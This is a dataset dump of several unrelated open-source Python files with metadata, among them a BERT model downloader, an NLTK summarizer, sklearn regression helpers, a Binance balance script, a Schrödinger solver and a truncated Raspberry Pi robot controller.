os.path.join(output_dir,'config.json'))\n vocab_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt',\n os.path.join(output_dir,'vocab.json'))\n model_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/distilbert-base-uncased-pytorch_model.bin',\n os.path.join(output_dir,'pytorch_model.bin'))\n \n \n if model == 'bert':\n zip_file = wget.download('https://storage.googleapis.com/bert_models/2020_02_20/uncased_L-12_H-768_A-12.zip',\n os.path.join(output_dir,'uncased_L-12_H-768_A-12.zip'))\n \n with ZipFile(os.path.join(output_dir,'uncased_L-12_H-768_A-12.zip'), \"r\") as zip_ref:\n zip_ref.extractall(output_dir)\n\n os.remove(os.path.join(output_dir,'uncased_L-12_H-768_A-12.zip'))\n \n if model == 'electra':\n zip_file = wget.download('https://storage.googleapis.com/electra-data/electra_base.zip',\n os.path.join(output_dir,'electra_base.zip'))\n \n with ZipFile(os.path.join(output_dir,'electra_base.zip'), \"r\") as zip_ref:\n zip_ref.extractall(output_dir)\n \n files = os.listdir(os.path.join(output_dir,'electra_base'))\n for f in files:\n shutil.move(os.path.join(output_dir,'electra_base',f), output_dir)\n\n os.remove(os.path.join(output_dir,'electra_base.zip'))\n os.rmdir(os.path.join(output_dir,'electra_base'))", "repo_name": "fidelity/classitransformers", "sub_path": "classitransformers/downloader.py", "file_name": "downloader.py", "file_ext": "py", "file_size_in_byte": 4270, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 39, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "shutil.move", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.rmdir", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}]} {"seq_id": "22982520144", "text": "from django.http import HttpResponse\nfrom django.template import RequestContext, loader\nfrom django.shortcuts import render\nimport datetime\n\n# Create your views here.\n\ndef index(request):\n\tstart_date = FT.objects.order_by('day').first().day.strftime(\"%d/%m/%Y\")\n\tend_date = FT.objects.order_by('day').last().day.strftime(\"%d/%m/%Y\")\n\tcontext = RequestContext(request, {\n\t\t'start_date' : start_date,\n\t\t'end_date' : end_date,\n\t})\n\treturn render(request, \"index.html\", context)\n\ndef home(request):\n\treturn render(request, \"home.html\")\n\n", "repo_name": "dhruvjain/LOOP-Dashboard", "sub_path": "loop_server/dashboard/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 533, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.template.RequestContext", "line_number": 11, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 18, "usage_type": "call"}]} {"seq_id": "32685839654", "text": "#Natural Language Toolkit\r\nimport nltk\r\n\r\n#important modules and librarys\r\nfrom nltk.tokenize import sent_tokenize, word_tokenize\r\nfrom nltk.corpus import stopwords\r\nfrom string import punctuation\r\nfrom collections import defaultdict\r\n\r\n\r\ndef summarize(user_Input, percent=0.3):\r\n # to create sentences and words\r\n sentences = sent_tokenize(user_Input)\r\n words = word_tokenize(user_Input.lower())\r\n\r\n # Remove stop words and punctuation\r\n stop_words = set(stopwords.words('english') + list(punctuation))\r\n words = []\r\n word: object\r\n for word in words:\r\n if word not in stop_words:\r\n words.append(word)\r\n\r\n # Calculate word frequency\r\n freq = defaultdict(int)\r\n for word in words:\r\n assert isinstance(word, object)\r\n freq[word] += 1\r\n\r\n # Calculate sentence scores based on word frequency\r\n scores = defaultdict(int)\r\n for j, sentence in enumerate(sentences):\r\n for word in word_tokenize(sentence.lower()):\r\n if word in freq:\r\n scores[j] += freq[word]\r\n\r\n # Calculate the number of sentences to retain based on percentage\r\n num_sentences = max(1, int(len(sentences) * percent))\r\n\r\n # Sort sentences by score and return the top n\r\n top_n = sorted(scores.items(), key=lambda item: item[1], reverse=True)[:num_sentences]\r\n top_n_indices = [index for index, score in top_n]\r\n summary = ' '.join([sentences[i] for i in sorted(top_n_indices)])\r\n return summary\r\n\r\n\r\n# Get user input for summarize and the percentage\r\ntext = input(\"What would you like to be summarized: \")\r\npercent = float(input(\"Enter the percentage of text you would like to be summarized (example 0.3 for 30%): \"))\r\n\r\n# Summarize the text and print the result\r\nsummary = summarize(text, percent)\r\nprint(summary)\r\n", "repo_name": "Rustedlink/Summerization_Generator", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1804, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "nltk.tokenize.sent_tokenize", "line_number": 13, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 14, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 17, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 17, "usage_type": "name"}, {"api_name": "string.punctuation", "line_number": 17, "usage_type": "argument"}, {"api_name": "collections.defaultdict", "line_number": 25, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 31, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 33, "usage_type": "call"}]} {"seq_id": "74280382013", "text": "import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error\n# from typing import List, Dict, Optional\nimport pickle\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import r2_score\nfrom Preprocessing.eda import *\nfrom sklearn.svm import SVR\n\n# df = read_dataset(Path('C:\\\\Visual_analytics\\\\assignments\\\\flask_music\\\\venv\\Datasets\\\\songs_dataset_x_excel.csv'))\n#\n# sss = read_dataset(Path('C:\\\\Visual_analytics\\\\assignments\\\\flask_music\\\\venv\\Datasets\\\\songs.csv'))\n\ndef Linear_Regression(x,y):\n # train-test split\n X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\n\n LR = LinearRegression()\n LR.fit(X_train,y_train)\n\n trainy_predict = LR.predict(X_train)\n testy_predict = LR.predict(X_test)\n\n\n print(\"MSE:\", mean_squared_error(y_test, testy_predict))\n print(\"R2:\", r2_score(y_test, testy_predict))\n # LR.score(X_test, y_test)\n\n lr_model = LR\n lr_mse = mean_squared_error(y_test, testy_predict)\n lr_mae = mean_absolute_error(y_test, testy_predict)\n\n plot = plot_model_learning_curves(X_train, y_train, X_test, y_test, lr_model, 'mean_squared_error')\n plot = plot_model_learning_curves(X_train, trainy_predict, X_test, testy_predict, lr_model, 'mean_squared_error')\n\n\n # filename = 'LinearRegression.sav'\n # pickle.dump(lr_model, open(filename, 'wb'))\n\n return dict(model=lr_model, mse=lr_mse, mae=lr_mae)\n\n\n\ndef SVRegressor(x,y):\n # gridsearch for choosing the parameter for SVM\n X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\n\n param_grid = {'C': [10, 100, 1000], 'gamma': [1, 0.1, 0.01], 'kernel': ['rbf']}\n sv_m = SVR()\n svr = GridSearchCV(estimator=sv_m, param_grid=param_grid, refit=True, verbose=3, cv=2)\n svr.fit(X_train, y_train)\n\n\n svr_model = svr.best_estimator_\n\n trainy_predict = svr_model.predict(X_train)\n testy_predict = svr_model.predict(X_test)\n\n\n\n svr_mse = mean_squared_error(y_test, testy_predict)\n svr_mae = mean_absolute_error(y_test, testy_predict)\n\n plot = plot_model_learning_curves(X_train, y_train, X_test, y_test, svr_model, 'mean_squared_error')\n plot = plot_model_learning_curves(X_train, trainy_predict, X_test, testy_predict, svr_model, 'mean_squared_error')\n\n\n # filename = 'SVRegressor.sav'\n # pickle.dump(svr_model, open(filename, 'wb'))\n\n return dict(model=svr_model, mse=svr_mse, mae=svr_mae)\n\n\ndef random_forest_regressor(x: pd.DataFrame, y: pd.Series) :\n\n\n # Spliting data using train_test split with test size as 20% and shuffle = True(indicating randomly selecting)\n trainx, testx, trainy, testy = train_test_split(x, y, test_size=0.20, random_state=42)\n\n # Train your model using train set.\n rf_regressor = RandomForestRegressor(n_jobs=-1)\n rf_regressor.fit(trainx, trainy)\n\n # Predict test labels/classes for test set.\n # Predicting the model on both train and test data\n trainy_predict = rf_regressor.predict(trainx)\n testy_predict = rf_regressor.predict(testx)\n\n\n # Measure the below given performance measures on test predictions.\n # Use methods provided by sklearn to perform train-test split and measure below asked model performance scores.\n\n rf_model = rf_regressor\n rf_mse = mean_squared_error(testy, testy_predict)\n rf_mae = mean_absolute_error(testy, testy_predict)\n\n plot = plot_model_learning_curves(trainx, trainy, testx, testy, rf_model, 'mean_squared_error')\n plot = plot_model_learning_curves(trainx, trainy_predict, testx, testy_predict, rf_model, 'mean_squared_error')\n\n # print(\"Random Forest _> Train accuracy score : \", accuracy_score(trainy, trainy_predict) * 100)\n # print(\"Random Forest _> Test accuracy score : \", accuracy_score(testy, testy_predict) * 100)\n #\n # print(\"Random Forest _> Train recall score : \", recall_score(trainy, trainy_predict, average='macro') * 100)\n # print(\"Random Forest _> Test recall score : \", recall_score(testy, testy_predict, average='macro') * 100)\n #\n # print(\"Random Forest _> Train precision score : \", precision_score(trainy, trainy_predict, average='macro') * 100)\n # print(\"Random Forest _> Test precision score : \", precision_score(testy, testy_predict, average='macro') * 100)\n #\n # print(\"Random Forest _> Train f1 score : \", f1_score(trainy, trainy_predict, average='macro') * 100)\n # print(\"Random Forest _> Test f1 score : \", f1_score(testy, testy_predict, average='macro') * 100)\n #\n # print(\"Random Forest _> Train confusion_matrix : \\n\", confusion_matrix(trainy, trainy_predict))\n # print(\"Random Forest _> Test confusion_matrix : \\n\", confusion_matrix(testy, testy_predict))\n\n return dict(model=rf_model, mse=rf_mse, mae=rf_mae)\n\n\ndef rfr_grid_cv(x: pd.DataFrame, y: pd.Series):\n\n # Spliting data using train_test split with test size as 20% and shuffle = True(indicating randomly selecting)\n trainx, testx, trainy, testy = train_test_split(x, y, test_size=0.20, random_state=42)\n\n\n rf_grid = RandomForestRegressor(n_jobs=-1)\n param_grid = {\"n_estimators\": [100, 200],\n \"max_depth\": [7, 12],\n \"min_samples_leaf\": [20, 40]}\n\n rf_cv_grid = GridSearchCV(estimator=rf_grid, param_grid=param_grid)\n rf_cv_grid.fit(trainx, trainy)\n\n rf_model = rf_cv_grid.best_estimator_\n\n trainy_predict = rf_model.predict(trainx)\n testy_predict = rf_model.predict(testx)\n\n rf_mse = mean_squared_error(testy, testy_predict)\n rf_mae = mean_absolute_error(testy, testy_predict)\n\n # pickle.dump(rf_model, open(\"Saved_models//random_forest_best\", 'wb'))\n\n return dict(model=rf_model, mse=rf_mse, mae=rf_mae)\n\n\ndef final_random_forest_regressor(x: pd.DataFrame, y: pd.Series) :\n\n\n # Spliting data using train_test split with test size as 20% and shuffle = True(indicating randomly selecting)\n trainx, testx, trainy, testy = train_test_split(x, y, test_size=0.20, random_state=42)\n\n # Train your model using train set.\n rf_regressor = RandomForestRegressor(max_depth=12, min_samples_leaf=20, n_estimators=200,n_jobs=-1)\n rf_regressor.fit(trainx, trainy)\n\n # Predict test labels/classes for test set.\n # Predicting the model on both train and test data\n trainy_predict = rf_regressor.predict(trainx)\n testy_predict = rf_regressor.predict(testx)\n\n\n # Measure the below given performance measures on test predictions.\n # Use methods provided by sklearn to perform train-test split and measure below asked model performance scores.\n\n rf_model = rf_regressor\n rf_mse = mean_squared_error(testy, testy_predict)\n rf_mae = mean_absolute_error(testy, testy_predict)\n\n return dict(model=rf_model, mse=rf_mse, mae=rf_mae)", "repo_name": "adelghaenian/spotify_api", "sub_path": "Modeling/regression_models.py", "file_name": "regression_models.py", "file_ext": "py", "file_size_in_byte": 6943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sklearn.model_selection.train_test_split", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.svm.SVR", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 79, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 83, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 99, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 100, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 123, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 126, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 129, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 134, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 142, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 143, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 150, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 154, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 157, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 170, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 171, "usage_type": "call"}]} {"seq_id": "11052189852", "text": "from pyramid.authorization import Allow\n\nfrom riskmatrix.models import Organization\n\n\ndef test_acl(config):\n session = config.dbsession\n org = Organization(name='Test', email='test@example.com')\n session.add(org)\n session.flush()\n\n assert org.__acl__() == [\n (Allow, f'org_{org.id}', ['view']),\n ]\n", "repo_name": "seantis/riskmatrix", "sub_path": "tests/models/test_organization.py", "file_name": "test_organization.py", "file_ext": "py", "file_size_in_byte": 323, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "riskmatrix.models.Organization", "line_number": 8, "usage_type": "call"}, {"api_name": "pyramid.authorization.Allow", "line_number": 13, "usage_type": "name"}]} {"seq_id": "23279966894", "text": "#pip install python-binance\r\n#pip install --upgrade setuptools\r\n\r\nimport personal1\r\nfrom binance.client import Client\r\n\r\nbclient = Client(personal1.api_key,personal1.api_secret)\r\n\r\narray = bclient.get_account()\r\n#printing only currencies which the owner has subscribed & are more than zero.\r\n#also removing the curly braces{} & paranthesis before printing \r\nfor element in array['balances']:\r\n if float (element.get('free'))> 0.0000000:\r\n print(str(element).replace(\"{\",\"\").replace(\"}\",\"\").replace(\"'\",\"\"))\r\n \r\n \r\n \r\n'''\r\nBalance = bclient.get_asset_balance(asset = \"BTC\")\r\n\r\nprint(Balance['asset'],Balance['free'],Balance['locked'])\r\n'''\r\n", "repo_name": "ashishde1991/CRYPTO-WORLD-", "sub_path": "BINANCE_EXCAHNGE/binance_wallet_balance.py", "file_name": "binance_wallet_balance.py", "file_ext": "py", "file_size_in_byte": 672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "binance.client.Client", "line_number": 7, "usage_type": "call"}, {"api_name": "personal1.api_key", "line_number": 7, "usage_type": "attribute"}, {"api_name": "personal1.api_secret", "line_number": 7, "usage_type": "attribute"}]} {"seq_id": "23328989325", "text": "import numpy as np\nfrom numpy.polynomial import legendre\nimport argparse\nfrom math import *\nimport matplotlib.pyplot as plt\n\ndef create_parser():\n '''Creating a parser for command line options for this solver'''\n parser = argparse.ArgumentParser(description = \"Inputs to the Schrodinger Equation solver\")\n parser.add_argument('-V0', '--potential', nargs = '?', type = float, default = 2, help = 'Constant potential energy, default = 0.1')\n parser.add_argument('-c', '--constant', nargs = '?', type = float, default = 1, help = 'Constant multiplier for the laplacian term of the hamiltonian, default = 1')\n parser.add_argument('-s', '--basis_size', nargs = '?', type = int, default = 10, help = 'Size of the basis set, default = 3')\n parser.add_argument('-ch', '--basis_choice', nargs = '?', type = str, default = 'Legendre', choices = ['Legendre', 'legendre', 'Fourier', 'fourier'], help = 'Choice of basis set - Fourier or Legendre, default = Legendre')\n parser.add_argument('-d', '--domain', nargs = '?', type = tuple, default = (-1, 1), help = 'Domain for the basis set, default = [-1, 1]. Please input a tuple.')\n parser.add_argument('-y', '--wave_function', nargs = '?', type = str, default = 'cos(x)', help = 'Specify a guess for the wave function, default = cos(x). Expression for wave function must be written as a python-formatted mathematical string.')\n parser.add_argument('--output_file', nargs = '?', type = str, default = './SEq/output.txt', help = 'Specify file path where you want output, default = \\'./SEq/output.txt\\' ')\n return parser\n\ndef wave_function(wave_function, x):\n '''This function evaluates the string-formatted function for given x.\n\n Parameters\n -----\n wave_function: string\n A python string-formatted function, y(x)\n x: array\n The points in domain at which wave_function is evaluated\n\n Returns\n -----\n array\n An array of function values at given x's. It has the same length as x.\n ''' \n y = eval(wave_function)\n return y\n\ndef basis_set(ch, x, y, basis_size):\n '''Depending on the user choice, basis set elements are returned.\n \n Parameters\n -----\n ch: string\n Selection of type of basis set - Legendre or Fourier\n x: array\n Array of points in domain\n y: array\n Wave function evaluated at x\n basis_size: int\n No of elements in the basis set\n \n Returns\n -----\n array\n Array of basis set elements\n '''\n if(ch == 'Legendre' or ch == 'legendre'):\n basis_set = np.polynomial.legendre.legfit(x, y, basis_size - 1)\n elif(ch == 'Fourier' or ch == 'fourier'):\n basis_set = [fourier_coeff(i, x, y) for i in range(basis_size)]\n return basis_set\n\ndef fourier_coeff(n, x, y): #Source: https://stackoverflow.com/questions/4258106/how-to-calculate-a-fourier-series-in-numpy\n '''Fourier coefficient calculation of the nth term.\n\n Parameters\n -----\n n: int\n x: array\n Array of points in domain\n y: array\n Wave function evaluated at x\n\n Return\n -----\n float\n The nth coefficient of the fourier series\n '''\n period = np.amax(x) - np.amin(x)\n c = y*np.exp(-1j*2*n*np.pi*x/period)\n return np.sum(c)/float(len(c))\n\ndef hamiltonian(ch, x, y, c, V0, basis_set):\n '''Returns the hamiltonian of the given basis set.\n \n Parameters\n -----\n ch: string\n Selection of type of basis set - Legendre or Fourier\n x: array\n Array of points in domain\n y: array\n Wave function evaluated at x\n c: float\n constant in the hamiltonian expression\n V0: float\n constant potential in the hamiltonian\n basis_set: array\n Array of the basis set elements\n \n Returns\n -----\n array\n The set of hamiltonian coefficients of the given basis set\n '''\n basis_size = len(basis_set)\n if(ch == 'Legendre' or ch == 'legendre'):\n del2_basis = np.polynomial.legendre.legder(basis_set, m = 2)\n del2_basis = np.append(del2_basis, [0,0])\n elif(ch == 'Fourier' or ch == 'fourier'):\n del2_basis = np.gradient(np.gradient(basis_set)) #np.gradient uses central difference method to give the derivative.\n h = [-c * del2_basis + V0 * np.array(basis_set)]\n H = np.matmul(np.transpose([basis_set]), h) # (nx1)x(1xn) = (nxn) matrix multiplication\n return H\n\ndef eigen(matrix):\n '''Calculates and returns the eigenvalues and eigenvectors of the matrix. The eigenvalues correspond to the lowest energy and eigenvectors correspond to the lowest energy state basis set coefficients.\n \n Parameters\n -----\n matrix: (.., N, N) array\n A matrix for which eigenvalues and eigenvectors are to be found\n \n Returns\n -----\n (.., N) array\n Eigenvalues of the given matrix\n \n (.., N, N) array\n Eigenvectors of the given matrix\n '''\n eigenvalues, eigenvectors = np.linalg.eig(matrix)\n return eigenvalues, eigenvectors\n\ndef write_output(out_file, output):\n '''Writes to the output file.\n \n Parameters\n ----\n out_file: string\n The path of the file where output needs to be written\n output: array like\n The output to be written in the file\n '''\n f = open(out_file, 'w')\n f.write('basis set coefficients are:\\n')\n for i, n in enumerate(output):\n f.write('a{} = {:.4f}\\n'.format(i+1, n))\n f.close()\n\ndef main(): #pragma: no cover\n parser = create_parser()\n args = parser.parse_args()\n \n print('Started!')\n V0 = args.potential\n c = args.constant\n basis_size = args.basis_size\n choice = args.basis_choice\n (lower_lim, upper_lim) = args.domain\n output_file = args.output_file\n \n x = np.linspace(lower_lim, upper_lim, 100) \n wave_func = wave_function(args.wave_function, x)\n \n basis = basis_set(ch = choice, x = x, y = wave_func, basis_size = basis_size)\n H = hamiltonian(ch = choice, x = x, y = wave_func, c = c, V0 = V0, basis_set = basis)\n coefficients, Energy = eigen(H)\n\n write_output(output_file, coefficients)\n print('\\nDone! Please see the output file for results.')", "repo_name": "hgandhi2411/Schrodinger", "sub_path": "SEq/seq.py", "file_name": "seq.py", "file_ext": "py", "file_size_in_byte": 6161, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.polynomial.legendre.legfit", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.polynomial", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.amax", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.polynomial.legendre.legder", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.polynomial", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.gradient", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 131, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 162, "usage_type": "call"}]} {"seq_id": "6079248781", "text": "import csv\nfrom datetime import datetime\nfrom datetime import date\n\n\n\n\ndef writelogfile(lat, lon, surface, condition):\n\n # get current date and time\n timestamp = str(datetime.now())\n date = timestamp.split()[0]\n time = timestamp.split()[1].split('.')[0]\n\n # create file name\n filename = 'algo/dojo_data/' + str(date) + '_' + str(time) + '_trailkondico_dojo' + '_' + surface + '_' + condition + '.csv'\n\n # write csv\n try:\n with open(filename, 'w') as f:\n writer = csv.writer(f)\n row_array = [date, time, lat, lon, surface, condition]\n row = row_array\n writer.writerow(row)\n except IOError:\n print(\"error\" + date + '_' + time)\n\n\n\n return\n", "repo_name": "110101/TrailWeather", "sub_path": "website/algo/dojo.py", "file_name": "dojo.py", "file_ext": "py", "file_size_in_byte": 725, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 12, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 16, "usage_type": "argument"}, {"api_name": "csv.writer", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 22, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 26, "usage_type": "name"}]} {"seq_id": "8236157902", "text": "import cv2 \nimport numpy as np\nfrom gpiozero.pins.pigpio import PiGPIOFactory\nfrom gpiozero import AngularServo\nimport RPi.GPIO as GPIO\nimport time\nfrom camera import camera\nimport threading\ntime.sleep(0.5)\ncam = camera() \nvs = threading.Thread(target=cam.update, daemon=True)\nvs.start()\n\ndef DetectOrange(frame): # function detect orange color by HSV\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n lower_Orange = np.array([0, 45, 10])\n upper_Orange = np.array([26, 255, 255])\n Orange_detect = cv2.inRange(hsv, lower_Orange, upper_Orange)\n return Orange_detect\n\ndef DetectBlue(frame): # function detect blue color by HSV\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n lower_Blue = np.array([105, 51, 0])\n upper_Blue = np.array([116, 255, 255])\n Blue_detect = cv2.inRange(hsv, lower_Blue, upper_Blue)\n return Blue_detect\n\npigpio_factory = PiGPIOFactory()\nservo = AngularServo(12, min_angle=0, max_angle=180, min_pulse_width=0.0005, max_pulse_width=0.0025, pin_factory=pigpio_factory)\n\nin1, in2, en = 19, 16, 13\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(in1, GPIO.OUT) # In 1\nGPIO.setup(in2, GPIO.OUT) # In 2\nGPIO.setup(en, GPIO.OUT) # En\npwm = GPIO.PWM(en, 1000)\n\ndef forward(speed):\n pwm.start(speed)\n GPIO.output(in1, GPIO.LOW)\n GPIO.output(in2, GPIO.HIGH)\n\ndef stopM():\n GPIO.output(in1, GPIO.LOW)\n GPIO.output(in2, GPIO.LOW)\n pwm.start(0)\n\n# Define GPIO pins\nTRIG_PIN_1 = 18\nECHO_PIN_1 = 27\nTRIG_PIN_2 = 22\nECHO_PIN_2 = 23\nTRIG_PIN_3 = 24\nECHO_PIN_3 = 10\n\n# Set up 